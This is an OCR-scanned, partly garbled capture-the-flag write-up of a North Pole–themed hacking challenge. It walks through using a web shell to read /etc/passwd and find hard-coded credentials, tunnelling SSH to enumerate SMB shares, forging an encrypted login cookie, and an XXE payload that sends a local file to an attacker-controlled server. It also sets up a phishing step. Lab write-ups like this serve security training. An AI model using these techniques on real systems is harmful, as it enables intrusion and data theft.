internet” and written to the web
root (/var/www/html on most unix
installations). We give it a unique e
filename and browse to it using our

b A WEB SHELL IS A SCRIPT THAT CAN BE VP-
VDIOWSCL. LOADED TO A WEB SERVER TO ENABLE REMOTE
ADMINISTRATION OF A MACHINE

! https://pen-testing.sans.org/blog/2017/12/05/why-you-need-the-skills-to-tinker-with-publicly-released-exploit-code

% https:// gist.githubusercontent.com/joswr1ght/22f40787de19d80d110b37fb79ac3985/raw/be4b2c021b284{21418f55b9d4496cdd3b3c86d8/easy-simple-php-web- %s
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Success! The webshell is reachable and comamnds entered into the prompt are executed,
and their output displayed on the page.

R B | @ Secure | https://I2s.northpolechristmastown.com/holiday-hacked.php?cmd=echo + %2 7hello +world%21%27

|echo 'hello world!" || Execute

hello world!

(— = G @ (D) & hitps;//12s.northpolechristmastown.com/haoliday-hacke: see o9

I | Execute

GreatBookPageZ.pdf
css

fonts
holiday-hacked.php
imgs

index.html

is

process.php

The Great Book page is in the webroot and we can browse to and download it using our
browser, by visiting https://12s.northpolechristmastown.com/GreatBookPage2.pdf. This
page of the great book tells the story of how the scientists of OZ created the flying mon-
keys, Moonracer, and Santa’s flying reindeer (and the reason behind Rudolph’s red nose).

However, we are still not finished. We need to find alabaster snowball’s password.

‘e
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Looking at our last available hint, sparkle mentions the possibility of hard coded creden-
tials. we can enumerate the users by displaying the /etc/passwd file. Here, we see Alabas-
ter’s username, alabaster snowball

“~ c ‘Q‘ @ i https://12s.northpolechristmastown.com/holiday-hac @ - 2 ﬁ

| Execute

rooc:x:0:0:rooc: frooc: /bin'bash
daemon:x:1:1:daemon: /usr/sbin: /fusr/sbin/nologin
bBin:x:2:2:kin:/bin: /usr/skin/nologin
sysix:i3:i3:isys:Sdev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin: /bin/sync
games:x:5:60:games: /fusr/games: /usr/sbin/nologin
man:x:6:12:man: /var/cache/man: /usr/sbin/nologin
lp:x:7:7:lp: /var/spool/lpd: fusr/skbin/nologin
mail:x:8:8:mail:/var/mail: /usr/sbin/mnologin

®x:9:9:news:/var/spool/news: fusr/sbin/nologin
uucp:x:10:10:uucp: fvar/spool/uncp: fasr/sbin/nologin
proxy:x:13:13:proxy:/bin: /usr/sbin/nologin
www—data:x:33:33 :www—data: /var/www: /usr/sbin/nologin
backup:x:34:34:backup: /var/backups: /usr/sbin/nologin
list:x:38:38:Mailing List Manager:/;Svar/list:,/usr,/sbin/nologin
irc:x:39:39:ircd: /var/run/ircd: fusr/skbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin): /var/lib/gnats: /usr/sbin/nologin
nobody:X:65534: 65534 tnobody: /fnonexistent: fusr/skbin/nologin
systemd-timesync:x:100: 102 i systemd Time Synchronization,,, : Srun/systemd: /bin/false
systemd-network:x:101:103: systemd WNetwork Management,,, :/run/systemd/necif:/bin/false
systemd-rescolve:x:102:104:systemd Resolver,,, :/run/systemd/resclve: /bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd: /bin/false
_@pt:x:104:65534;: :/nonexistent: /bin/falses
nuidd:x:105:109: : frun/uuidd: /bin/ false
ntp:x:106:110: : /home/ntp: /bin/false
sshd:x:107:65534: : frun/sshd: fusr/sbin/nologin
gke-=dl50e57664e0ca3i3alddix:1000:1001: : /home/gke—-edl50e57664e0ca3Zadd: /bin/bash
chris:x:1002:1003: : fhome/chris: /bin/bash
alabaster snowball:x:1003:1004:Alabaster Snowball,,,:/home/alabaster snowball:/bin/rbash
daniel:x:1004:1005: : /home/daniel : /bin/bash
messagebus::x:108:112: : /var/run/dbu=s: /bin/fal=ses
ron:x:1005:1006: : /fhome/ron: /bin/bash
dpendolino:x:1006:1007: : /home/dpendolino: /bin/bash
tkhl6:x:1007:1008: : /home,/tkhlé6: /bin/bash
Jeff:x:1008:1009: : /home/jeff:/bin/bash
tom:x:1009:1010: : fhome/tom: /bin/bash

news:

Next, we can search through the entire filesystem to see if any files contain his username
using a technique simlar to what was used in the there’s snow palce like home terminal
challenge.

But searching the entire filesystem may take a long time. We can narrow down our search
to directories that developers may put files into before moving them into production. the
directory /opt seems like a good candidate

In the below command, we will at all the contents of all the files in the /opt directory, and for each
file, execute grep and look for the string “alabaster_snowball” case insensitive (-i) and print the
filename(-H) and linenumber(-n) for each match.

ecure s//12s.northpolechristmastown.com/holiday-hacked.php?emd=find+%2Fopt + -type+f+-exec+grep +-Hni+alabaster_snowball+%... :
& Clas https://12s.northpolechristmast holiday-hacked.php?emd %2Fopt+-type+f grep+-Hni+alabast ball+%... ¥

find fopt -type f -exec grep -Hni alabaster_snowball §} \; Execute
/opt/apache-tomcat/webapps/ROOT/WEB-INF/classes/org/demo/rest/example/OrdertySql. class:3: final String username = "alabaster snowball";

We can see that we have a single match. In that file, we can see the hard-coded credentials for Ala-
baster Snowball’s unix account, stream_unhappy_buy_loss

|c at fopt/apache-tomcat/webapps/ROOT/WEB-INF/classes/org/demo/rest/example/OrderMySql.class | Execute

public class Connect {
final String host = "localhost”;
final String username = "alabaster_snowball";
final String password = "stream_unhappy_buy_loss™;
String connectionURL = "jdbcimysgl://" + host + ":33@6/db?user=;password="}
Connection connection = null;
Statement statement = null;

public Connect() {
try {

"Fwﬂ‘..l..... ‘.'!E!E-ﬂ------L
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THE SMB SERVER

3) THE NORTH POLE ENGINEERING TEAM VSES A WINDOWS SMB SERVER FOR SHARING
DOCUMENTATION AND CORRESPONDENCE. USING YOUR ACCESS TO THE LETTERS T6 SANTA
SERVER, IDENTIFY AND ENVMERATE THE SMB FILE-SHARING SERVER. WHAT IS THE FILE

SERVER SHARE NAME?

The Fileserver share name is: FileStor

Holly Evergreen
Hint 1

Hint 2
Nmap has default host discovery checks that may not discover all
hosts. To customize which ports Nmap looks for during host Alabaster likes to keep life simp\e. He chooses a strong
discovery, use -ps with a port number, such as -psi123 to check ) L
TCP port 123 to determine if a host is up. password, and sficks with it

Holly Evergreen
Hint 3

The Letters to Santa server is limited in what commands are
available. Fortunately, SSH has enough flexibility to make access
through the Letters server a fruitcake-walk.

Holly Evergreen
Hint 5

Windows users can use SSH port forwarding too, using PUTTY! For example, running ssh -L :445:SMBSERVERIP: 445

Hereis a qUiCk gUidE for Windows users username@sshserver Will allow you to access your Linux server's
: IP, which will forward directly to the SMB server over SSH.

AVAILABLE WHINTS

Holly Evergreen

Holly Evergreen
Hint 4

Have you used port forwarding with SSH before? It's pretty
amazing! Here is a quick guide.

Hally Evergreen
Hint 6

Sometimes it's better to use a Linux system as the SSH port
forwarder, and interact with a Linux system from a Windows box.

Holly Evergreen
Hint 7

Linux systems can also interact with a Windows server using the
smbclient utility: smbclient -L smbserverorforwarder -U

username .

QUESTIONS AND BNSWERS — THE SMB SERVER
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With SSH access to the web server we can now begin enumeration of the internal network
that it sits on. Unfortunately, it seems that we are in a restrictewd shell, with certain com-
mands being unusable. Conveniently however, the nmap command is available which we
can use to enumerate the network. We first look at the host we're on to determine the IP
range. We are 10.142.0.11 with a default gateway 10.142.0.1. we can deduce that we sit on
a /24 network and begin scanning. Our first default nmap scan returns several servers, but
only 1 SMB server named EMI. This does not seem to be the SMB file-server we need.

‘7
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Holly evergreen’s hint mentions that NMAP’s default scan can miss certain hosts and with
some certain switches, we can narrow down our search. Using our new search, one more
machine is found which looks to be our missing SMB server.

Holly Evergreen

Hint 1

Nmap has default host discovery checks that may not discover all
hosts. To customize which ports Nmap looks for during host

discovery, use -ps with a port number, such as -ps123 to check
TCP port 123 to determine if a host is up.

In order to interact with this fileshare we need a way to connect to it. Kali comes with a
tool called smbclient which we can use for just that purpose. Unfortunately, the SMB serv-
er is sitting in an internal network that our Kali machine has no access to. We need a way
for our Kali machine to talk to the hosts on the internal network. Holly gives us another
hint regarding port forwarding which will work nicely for what we need.

For this setup, we're telling SSH to listen on OUR local port 445 and forward all traffic to that port
to 10.142.0.7:445 through 12s.northpolechristmastown.com

ssh-1192.168.1.188:145:10.142.0.7:

I2s.northpolechrist
mastown.com

—— e st Ea— e

QUESTIONS AND ANSWERS — THE SMB SERVER

&



With port forwarding setup, we use the smbclient tool to interact with the SMB server. We
supply it with the -L switch to list it’s shares, and the -U switch to supply it with our user,
which in this case will be alabaster_snowball. A password prompt greets us but what could
the password be? Well, according to Holly, Alabaster likes to keep life simple and reuse

passwords. It's worth a shot. Holy Evergren
Hint 2

Alabaster likes to keep life simple. He chooses a strong
password, and sticks with it.

The comand executes without any errors and we see a list of shares on that host. The share
that we want is named and is the share that we'll be connecting to. We run the
same command (this time without -L) and supply the share name that we would like to
connect to.

Exploring the file share we see numerous files (which may be useful later on) one of them
being a page from the great book. The files are downloaded for later use.

9
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ELF

WEB ACCESS

¥) ELF WEB AcCCESS (EWA) IS THE PREFERRED MAILER FOR NORTH POLE ELVES, AVAIL-
ABLE INTERNALLY AT HTTP://MAIL.NORTHPOLECHRISTMASTOUN.COM. WHAT CAN YOU LEARN
FROM THE GREAT BOOK PAGE FOVND (N AN E-MAIL ON THAT SERVER?

The page of the Great Book found in an email on the mail server is about the munchkin Lollipop
Guild, created to defend “Oz against all elven aggression”. The Lollipop Guid is known to mount
cyber attacks against the North pole where the elven Blue Team work day and night protecting the
north pole from their attacks. The page also hints about the existence of munchkin moles, who are
rumored to have infiltrated the elven population.

T e——e =Y W

Pepper Minstix

Hint 1

I'm so excited for the new email system that Alabaster Snowball

AVAILABLE HINTS

Pepper Minstix

Hint 2

set up for us. He spent a ot of time working on it. Should make it The new email system's authentication should be impenetrable.
Alabaster was telling me that he came up with his own encryption
scheme using AES256, so you know it's secure.

very easy for us to share cookie recipes. | just hope that he
cleared up all his dev files. | know he was working on keeping the
dev files from search engine indexers.

Pepper Minstix

Hint 3

AES2567 Honestly, | don't know much about it, but Alabaster
explained the basic idea and it sounded easy. During decryption,
the first 16 bytes are removed and used as the initialization vector
or "IV." Then the IV + the secret key are used with AES256 to
decrypt the remaining bytes of the encrypted string.

Pepper Minstix

Hint 4
Hmmm. That's a good question, I'm not sure what would happen
if the encrypted string was only 16 bytes long.

Pepper Minstix

Hint 5

Every year when Santa gets back from delivering presents to the
good girls and boys, he tells us stories about all the cookies he
receives. | love everything about cookies! Cooking them, eating
them, editing them, decorating them, you name it!

v
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Referring to our previous nmap scan of the network, we see that the mail server has the IP

10.142.0.5. To begin, we’ll run a more intensive scan with nmap.
ROBOTS. TXT
A STANDARD VUSED BY WEB—

In one of Pepper Minstix’s hints, he e o 2 ‘ SITES 76 commumicaTE
o 9 g B ) CNHTH WEB CRAWLERS AND
tells us about this application and oTHER wEE ROBOTS

how there may be some dev files
left behind. He also mentions that
Alabaster keeping dev files from
search engine indexers. This is usu-
ally done through robots.txt This is
confirmed by the nmap scan which
shows us the existence of a listen-
ing port hosting a dev version of
the site. In addition the robots.txt
reveals the file /cookie.txt

We port forward to 10.142.0.5, port 3000 and obtain a copy of cookies.txt for later use.

Our next step is to log in to the mail server. We have some Alabaster’s credentials. Let’s try
them out.

A 1AL SERVER

Email

alabaster_snowball@test.com

d

LOGIN TO WEBMAIL &]

User Does Not Exist. Ex - first.last@northpolechristmastown.com

The server replies back with an error but also tells us the correct format. We try again but
this time, it seems like the password may be incorrect. Time to find another way in.

se
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In cookie.txt, we find what
could be how the web serv-

//FOUND THESE FOR creating and validsting cookies. Going to use this in node s er generates and checks for
function cookie_maker(usernane, callback){ the Validity of authentica-

var key = 'need to put any length key in here'; . I q
Jirandonly generates & string of 5 characters tion cookies. We can see in

var plaintext = rando_string(5) the cookie_maker function,
/imzkes the string into cipher text ..., in basesd, whel?n decoded this 2} bytes in total lengtfll. 1{: bytes for ?V "8} at a random string =
//Removes equals from output so as not to mess up cookle, decrypt function can account for this without erroring o

0:3000/cookie byt

var ciphertext = aes256.encrypt(key, plaintext).replace(/\=/g,""); encrypted with a key and
//5etting the values of the cookie. encoded in base64 produc-
var acookle = ["TOTECHAEBMAIL', 150N, stringify({"name":username, "plaintext”:plaintext, “ciphertext”:ciphertext}), @ . L

return callback(acookie); mga 21-bY'(e long ClPhef'

I text. The ciphertext, along

functi kie_check 11back : .

””ctm cooki chcker(reg, calloach with the random string and
var key = 'need to put any length key in here'; username are passed as the
/[Retrieving the cookie from the request headers and parsing it as 1500 cookie
var thecookie = JSON.parse(req. cookies, I0TECHHEBMALL); :

/[Retrieving the cipher text

var ciphertext = thecookie, ciphertext; In the cookie checker
/[Retrievingin the username g . :
var username = thecookie,name functlon, the c1phertext 1S
/[retrieving the plaintext decrypted by LlSil’lg a key

var plaintext = aesdS6.decrypt(key, ciphertext);

//1f the plaintext and ciphertext are the same, then it means the data was encrypted with the same key stored on the server side.

if (plaintext === thecookie.plaintext) { If the decrypted plain—
return callback(true, username); text matches the plaintext
} else { . .
retum callback(felse, ); passed in the cookie, then
it can be inferred that both
catch (e
J msfﬂz_éug(e); keys used to decrypt/en-
return callback(false, '); crypt the cookie is the same

and access is granted.

Using the dev tools packaged with Firefox, we can inspect the values that are being passed in the
cookie header. Additionally, we can edit these values to produce different results.

DEV 7TooLs
[@ T Inspector Console [ Debugger {IﬁStjrle Editor (3 Peformance  {F Memory = Metw

& Cache Storage + Filter items [=]

8 Conkics
€% hitp://192.168.1.188:3000 {"name":"GUEST", "plaintext™:"", "ciphertext™""}

£ Indexed DB

& Local Storage

£ Session Storage

v
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If the ciphertext passed in the cookie is not encrypted with the same key on the server, then the
authentication check will fail. Unfortunately, there’s no way to determine the key unless access to
the mail server is obtained. Fortunately, Pepper offers a brief explanation of how AES256 works
and a very important clue

Pepper Minstix
Hint 3 Pepper Minstix
AES2567 Honestly, | don't know much about it, but Alabaster Hint 4

explained the basic idea and it sounded easy. During decryption,
the first 16 bytes are removed and used as the initialization vector Hmmm. That's a good question, I'm not sure what would happen
or "I\V." Then the IV + the secret key are used with AES256 to . )

if the encrypted string was only 16 bytes long.

decrypt the remaining bytes of the encrypted string

We know that the ciphertext is a base64 encoded string, with a length of 21 bytes. According to
Pepper’s explanation, the first 16 bytes are removed and used as the IV. The IV along with the se-
cret key is used to decrypt the ciphertext. Consider then, what would happen if the entire cipher-
text was only 16 bytes long? 16 bytes would still be removed as the IV and we would be left with a
ciphertext of 0 length. What would happen then?

Let’s test this out. First, we'll need a 16 byte length string. This is then encoded with base64 (as this
is the format the the server is expecting). Finally, any trailing equals signs (=) are removed. We are
left with our “fake” cipher text.

Using the Firefox dev tools, we edit the cookie header. We supply a username (in this case, ala-
baster.snowball@northpolechristmastown.com) along with the plaintext (blank) and our newly
created ciphertext in the appropriate fields.

Filter item

{"name":"alabastersnowball@northpolechristmastown.com”,"plainted "™, "ciphertext": YWJZGVmZ2hpamtshWivCq "}

QUESTIONS AND ANSWERS — ELF WEB ACCESS
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The page is refreshed, Firefox dev tools will now send the modified cookie over to the server and
access to the mail server is obtained

ELF wEBMALIL
ACCESS

Account  Logout

Elf Webmail Access

@ [Jinspector [ Console (O Debugger {1} StyleEditor (@ Performance 4k Memory = Network 8 Storage HE8Eg®0oe
& Cache Storage 4+ ¢ Filter items ] Filter values

8 ook Nare O
€3 hitp://192.168.1.188:3000 EWA {"name":"alabaster.snowball@northpolechristmastown... EWA: "{"name":"alab...pamts

g Indexed DB CreationTime: "Thu, 28 D...03:44 GMT"
Domain: "192.168.1,188"
" Expires: "Fri, 29 Dec 20.., 19:05:44 GMT"
& Session Storage HostOnly: true
HttpOnly: true
LastAccessed: "Thu, 28 0...1%09 GMT"
Path: ")

Secure: false

8 Local Storage

A B,

QUESTIONS AND ANSWERS — ELF WEB ACCESS



A wealth of information can be found within the email application including usernames, email
address and of course, a page of the great book. Holly evergreen’s email to everybody includes a
link where the page of the Great Book is saved.

From: holly.evergreen@northpolechristmastown.com 0 1o all@northpolechristmastown.com

CF Do

Date/Time: Tue, 5 Dec 2017 09:10:47 -0500

Subject: Lost book page
B Message Body:

Hey Santa,

Found this lying around. Figured you needed it.
http://mail.northpolechristmastown.com/attachments/GreatBookPage4 893jt91md2.pdf
i)

-Holly

This page of The Great Book tells the story of

S6
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NAVGHTY? Or NICE?

S) HOw MANY INFRACTIONS ARE REQVIRED TO BE MARKED AS NAVGHTY ON SANTA'S
NAVSHTY AND NICE LIST? WHAT ARE THE NAMES OF AT LEAST SIX INSIDER THREAT
MOLES? UWHO IS THROWING THE SNOWBALLS FROM THE TOP OF THE NORTH POLE
MOVNTAIN AND WHAT IS YOUR PROOFE?

4 infractions are needed to be put on Santa’s naughty list

The names of 8 suspected munchkin moles are as follows:

“Beverly

Khalil”

“Bini Aru”
“Boq Questrian”
“Kirsty Evans”

“Manuel

Graham”

“Nina Fitzgerald”
“Sheri Lewis”
“Wesley Morton”

The giant showballs are being thrown from the top of the North Pole Mountain by Bumble, the
Abomniable Snow Monster. This is corroborated by page 5 of the Great Book where in the past, he
has been known to enslave elves to create giant snowballs he can use as weapons.

T Y %

AVAILABLE HINTS

Minty Candycane

Hint 2

Minty Candycane

Hint 1

| have a very important job at the North Pole: GDPR compliance ) "
) v important job &t v ‘ phan The North Pole Police Department works closely with Santa on
officer. Mostly | handle data privacy requests relating to Santa's

naughty and nice list. | maintain the documents for compliance on
the North Pole file store server.

the naughty and nice list infractions. Mild naughty events are "1
coal" infractions, but can reach as high as "5 coal" level.

Minty Candycane Minty Candycane
Hint 3 Hint 4
I'm still a little shaken up from when | had to call them in the other

Unrelated, but: have you had the pleasure of working with JSON
There was even a super atomic wedgie involved! Later we were before? It's an easy way to programmatically send data back and
told that they were Munchkin Moles, though I'm still not sure | can forth over a network. There are simple JSON import/export
believe that. features for almost every programming language!

day. Two elves started fighting, pulling hair, and throwing rocks.

Minty Candycane
Hint 5

One of the conveniences of working with JSON is that you can
edit the data files easily with any text editor. There are lots of
online services to convert JSON to other formats too, such as
CSV data. Sometimes the JSON files need a little coaxing to get
the data in the right format for conversion, though.

v
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To answer the question, We need to obtain a list of all the infractions in the nort pole
police department database located at nppd.northpolechristmastown.com. In addition, we
will need ‘the naughty and nice list.csv’ file found in the SMB server in question number
2. A cursory look over the data shows the infraction titles, names, and the status of the
infractions.

¥4 NORTH POLE POLICE DEPARTMENT

Home \ Help Community Policing About

Infractions Search

Search

. title:bedtime, date=2017-12-25, efc

Legal fields: itle, date, name, status

Reports

Showing results 1- 25

More —
Title Name Status
Throwing rocks (at people) @ € € € & Suzanne Hart pending
Aggravated pulling of hair @ € & € Nina Fitzgerald closed '
Playing ball in house & Jess Aziz closed
Unauthorized access to cookie jar & € Shaun Low open
Throwing rocks (non-person target) € & € & & Grace Cruz open
Tantrum in a private facility & € Iris Shaffer closed
Talking back to parents or other adults & & & Paul Newton open

Anti-social behavior (unspecified) € € € € Tina Humphrey

Using the search function allows us to filter through the infractions and more importantly, down-
load the results in JSON format. In this walkthrough we’ll be filtering against the status (open,
closed, pending) and downloading the results of each of these queries.

A
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More —

Download

The JSON files are then converted into csv format using an online service' and joined together to
produce a single file with all the infractions using cat

Once complete, the file can
be imported into an sqlite
database along with the
“naughty and nice list.csv”
obtained during question 2

Looking at the format of the table, it looks like there is one entry per child per infraction resulting
in a lot of duplicate names. we can use the COUNT and GROUP BY statements in SQL to aggre-
gate these results and then match the names up to the naughty list.

The logic behind the SQL query will be something like this

We want the name of the child and the number of infractions from the infractions table, (SELECT)
then using their names, find their match on the naughty or nice table (JOIN)

once they are matched up, get only the children that are naughty (WHERE)

order the results by number of infractions, least to greatest (ORDER BY)

sqlite> select infractions.infractions__name, count(*) from infractions left join nan on infrac-
tions__name = nan.name where nan.non = “Naughty” group by infractions__name order by
count(*) limit 5;

In the output above, we can see that in the Naughty list, the children have at least

! https://json-csv.com/
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To find the names of at least 6 insider threat moles, we can use the “BOLO - Munchkin Mole Re-
port.docx” document found in the SMB share along with the database of infractions we created in
the previous step. In addition, Minty’s hint # 3 tells us that he reported the 2 munchkin moles that
were apprehended (citing hair-pulling, rock throwing and atomic wedgies)

Minty Candycane
Hint 3

I'm still a little shaken up from when | had to call them in the other
. . day. Two elves started fighting, pulling hair, and throwing rocks.
BOLO: Munchkin Mole Advisory There was even a super atomic wedgie involved! Later we were

Please be advised that the long-ramored munchkin moles are now told that they were Munchkin Moles, though I'm still not sure | can
believed to be real. After a detailed and thorough investigation, believe that.

North Pole Authonties have identified two munchlns

impersonating elves in Santa's workshop

When confronted, both munchkins were able to evade elf
authorities after throwing rocks and engaging in aggravated hair
pulling. The pair mysteriously disappeared after speaking an
unknown word sounding like "puvurzgexgull."

In the BOLO document, we receive
a few pieces of key information. The

Munchkin Descriptions

Name: Bog Questrian

Height: Approxzimately 4 feet

Weight: Unknown

Appearance: Reddish skin tone, blue eves. A single curl of hair

infractions that the moles were cited
with and more importantly, their
names.

dominates an otherwise unremarkable hairstyle.

Warning: Boq is uncannily accurate at short-distance rock We can query the database that we
throwing.

have and see if there are any entries
Name: Bini Aru .
Height: Approzimately 4 feet fOl‘ these 2 munchklns
Weight: Unknown

Appearance: Pale skin, grey eyes. Unruly black hair.
Warning: Bini 15 unrelenting in hair pulling,

We can see in the above output that they are both in the database, and both guilty of at least 2 of
the 3 offenses that Minty mentioned. Armed with this information, we can formulate a query that
can (at the very least) get us a few good suspects.

6)
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For our query, we'll search for names with that have more than 1 count of “Aggravated pulling of
hair”, “Giving super atomic wedgies” or “Throwing rocks (at people)” infractions. This results in 8
names (with both of the known munchkin moles included)

names

It would appear that the names of 8 suspected munchkin moles are as follows:

b2
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Lastly, after completing the Bumble’s Bounce snowball challenge, a conversation is un-
locked between Bumble the Abominable Snowmonster and Sam the Snowman.

MPC Conversation

wﬁ@ Conversation with Bumble and Sam

Arrrrrrrrgh! Grrrrrrrr! ROOOO0O0O0AR!

You've done it! You found out who was
throwing the giant snowballs! It was the
Abominable Snow Monster. We should
have known. Thank you for your great
work!

But, you know, he doesn't seem quite
himself. Look into his eyes. It almost
looks like he has been hypnotized.
Something's not right with him.

In fact, he seems to be under someone
else's control. We've got to find out
who is pulling his strings, or else the
real villain will remain on the loose and
will likely strike again.

It means, buckle your seatbelt, dear
player, because the North Pole is going
bye-bye

Based on this conversation, we find out that the culprit behind the giant snowballs terrorizing
the north pole is none other than Bumble, the Abomniable Snow Monster. This is corroborated
by page 5 of the Great Book where in the past, he has been known to enslave elves to create giant
snowballs he can use as weapons. Since then, he has become a friend to the elves. However, Sam
the Snowman points out that he looks as though he is being hypnotized. The search for the REAL

villain has only just begun.
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These pages of The Great Book can be obtained by completing objective #1 of the Bum-
bles Bounce Snowball Challenge Level

A
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ELF AS A SERVICE

6) THE NORTH POLE ENGINEERING TEAM HAS INTRODUCED AN ELF AS A SERVICE (EAAS)
PLATFORM TO OPTIMIZE RESOVRCE ALLOCATION FOR MISSION-CRITICAL CHRISTMAS EN-
GINEERING PROTECTS AT HTTP://EAAS.NORTHPOLECHRISTMASTOWN.COM. VISIT THE SYSTEM
AND RETRIEVE INSTRUCTIONS FOR ACCESSING THE GREAT BOOK PAGE FROM C:\GREAT-
BOOK.TXT. THEN RETRIEVE THE GREAT BOOK PDF FILE BY FOLLOWING THOSE DIRECTIONS.
WHAT IS THE TITLE OF THE GREAT BOOK PAGE?

The title of the Great Book page retrieved from the EAAS server is:
“The Dreaded Inter-Dimenstional Tornadoes”

AVAILABLE WHINTS

Sugarpium Mary .
IE Hint 1 Su.garplum Mary
Hint 2

The EIf As A Service (EAAS) site is a new service we're
experimenting with in the North Pole. Previously, if you needed a

special engineer for toy production, you would have to write a The EAAS site uses XML data to manage FEQUESIS from other
memo and distribute it to several people for approval. All of that teams. There is a sample request layout available that you can
process is automated now, allowing production teams to request . . .
assistance through the EAAS site. download. Teams just customize the XML and submit!

Sugarplum Mary Sugarplum Mary

Hint 3 Hint 4
I think some of the elves got a little lazy toward the go-live date . ) o
for EAAS. The sample XML data doesn't even include a DTD XML processing can be complex. | saw an interesting article
reference. recently on the dangers of external XML entities.
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The eaas server resides on 10.142.0.13. Looking at our NMap scans, it looks like only port 80 is
available (as we don’t have RDP credentials). Using port forwarding , we forward our local port to
port 80 and establish a connection with our browser

Welcome Lo Tlonth @’oﬂe&tg&lwingas: 8@@&4 A Service!

ECz2: Elf Checking System 2.0

click here

ELf Reset

here!

‘4’

Doyoun.eeszo&oﬁaﬁ“nwfoWeﬂru?

de our handy dandy elf ordering files N our display =ew and belo

on the system
OWMNLOAD
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According to Sugarplum Mary, This site is a way to request the assistance of engineers for toy
production. XML data is used to manage the requests (Hint #2) and to make things easier, a sample
layout is available to us.

ElLF REAQVEST

SAMPLE XML

ar to have any style information associated with it. The

—<Elf>
—<EIf>
<EHID>1</EIfID>
<ElfName>EIf On a Shelf</ElfName>
<Contact>8675309</Contact=>
<DateOfPurchase>11/29/2017 12:00:00 AM</DateOfPurchase>
<Picture>1 png=</Picture>
<Address>On a Shelf, Obviously</Address>
</Elf>
—<EIf>
<EHID>2</EIfID>
<EliName>Buddy the EIf</ElfName>
<Contact=8675309</Contact>
<DateOfPurchase>11/29/2017 12:00:00 AM</DateOfPurchase>
<Picture>2 png</Picture>
<Address>New York City</Address>
</Elf>
—<Elf~
<EHID>3</EIID>
<EHName>Legolas</EMName>
<Contact=8675309</Contact>
<DateOfPurchase>11/29/2017 12:00:00 AM</DateOfPurchase>
<Picture>3 png</Picture>
<Address>Middle Earth</Address>
</Elf>
—<Elf>
<EHID>4<EIfID>
<EiName>Marcus EIf</EHName>
<Contact>8675309</Contact>
<DateOfPurchase>11/29/2017 12:00:00 AM</DateOfPurchase>
<Picture>4 png</Picture>
<Address>Canada</Address>
</Elf>
—<Elf>
<EHID>5</EIfID>
<ElName>Alf</ElfName>
<Contact=8675309</Contact>
<DateOfPurchase>11/29/2017 12:00:00 AM</DateOfPurchase>
<Picture>5 png</Picture>
<Address>Melmac</Address>
</Elf>
—<EIf>
<EHID>6</EIfID>
<ElfName>Dobby the House EIf</ElfName>

mu%wnenfon&hgowyowgﬁﬁexs!

Elf On a Shelf 11/29/

Em EEvmth S _ tosoned
1 29 1 on
AM A s

Obwviously

Buddy the ELf 11/29/2017 12:00:00 New York City

3 Legolas 11/29/2017 12:00:00 Mididle Earth
AM

The sample XML template (above)
can be submitted to the elf order page
(right) to requst the assistance of an
elf. The form protects against various - pe P——
type of XSS attacks so another attack -
vector must be used.

4 Marcus ELf

6 Dobby the House | 11/29/2017 12:00:00
Elf AM
Sugarplum Mary
Hint 3 kith 112072017 120000
AM

| think some of the elves got a little lazy toward the go-live date
for EAAS. The sample XML data doesn't even include a DTD
reference.

ler EIf 11/29/2017 12:00:00
AM
Sugarplum Mary
je Bells 11/29/2017 12:00:00

Hint 4 A

XML processing can be complex. | saw an interesting article
recently on the dangers of external XML entities.

Fortunately, Sugarplum Mary pro-
vides a hint (#3) about the sample’s
lack of a DTD refererence. This, along
with her hint (#4) regarding external ]

XML entities! can allow us to obtain
information from the host that would
otherwise be inaccessble.

Need to make a change?

! https://pen-testing.sans.org/blog/2017/12/08/entity-inception-exploiting-iis-net-with-xxe-vulnerabilities

6?
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To mount an XML External Entity attack, we supply, in the header of the XML file, an entity state-

ment that that tells the form to load a DTD from an external source. This will point to a web server
we control that hosts a DTD file

1 <Zxml wersion="1.0"
= %{!DOCTYPE demo [
3 < 'ELEMENT demo BNY >

IENTITY % extentity SYSTEM "hrttp:.//, 165001 //christmas . dcd™>
Textentity

encoding="atf-8" 7>

XA 1L PAYyLoAab

1 &

Finception
E=zendit:
1

In the DTD file itself, we will have another entity statement, this time, creating a variable that con-

tains the data we want to receive. This variable is appended into yet another entity statement which
performs a get request to a web server we control.

<2xml veraion="1.0" encoding="UTF-8"%>
7 ¢UENTITY % stolendata SYSTEM "file:///c:/greatbook.txt">
CIENTITY % inception "¢!ENTITY &$x25; sendit SYSTEM 'nttp:// 165001/ 74stolendata; '3">

mil

payload

web server o GET dtd

192.168.1.2
J+¥secret

[ GET did

load dtd !ge‘t 192.168..&2&__%';:- listener I

192.168.1.2

With our webserver ready, the xml file is uploaded. After a few moments, we see a request come in
for our webserver. The first request, as expected, is asking for the dtd file. The dtd file is sent over

and a moment later, another request, this time, containing the contents of the file c:\greatbook.txt
which happens to be the URL where the page of the great book is stored

The Great Book page is titled:
The Dreaded Inter-Dimenstional Tornadoes

QUESTIONS AND ANSWERS — ELF AS A SERVICE 6?
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ELF MACHINE INTERFACES

?) LIKE ANY OTHER COMPLEX SCADA SYSTEMS, THE NORTH POLE USES ELF-MACHINE
INTERFACES (EMI) TO MONITOR AND CONTROL CRITICAL INFRASTRUCTURE ASSETS. THESE
SYSTEMS SERVE MANY USES, INCLUDING EMAIL ACCESS AND WEB BROWSING, GAIN ACCESS
TO THE EMI SERVER THROVGH THE VSE OF A PHISHING ATTACK WITH YOUR ACCESS TO
THE EWA SERVER. RETRIEVE THE GREAT BOOK PAGE FROM C:\GREATBOOKPAGE?.FDF.
WHAT DOES THE GREAT BOOK PAGE DESCRIBE?

The page of the Great Book retrieved from the EMI server describes the existence of the witches
of OZ, and how, while very powerful, remained neutral during the events of the Great Schism.

AVAILABLE WHINTS

Rl CHiNNy Upatree

B el SNiNNy Upatree D h
=l Hint 2

R Hint 1
A . . ' He tells us not to install unnecessary software on systems, but
I'm still a little angry with Alabaster for reprimanding me for a he's running IIS with ASPX services on the EMI server, and
security violation. He still checks his email from the EMI system! Microsoft Office!

"3 Shinny Upatree
= Hint 3

Personally, | don't use Microsoft Word. I'll take vim and LaTeX any
day. Word does have its advantages though, including some of
the Dynamic Data Exchange features for transferring data
between applications and obtaining data from external data
sources, including executables.

e — - —

20
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For this task we need to gain access to the EMI server through the use of phishing attack.
During our visit to the mail server we stumble across the following email

Awesome, yea if anyone finds that .docx file containing the recipe for
“gingerbread cookie recipe”, please send it to me in a docx file. Im
currently working on my computer and would totally download that to my
machine, open it, and click to all the prompts.

Thank

Alaba

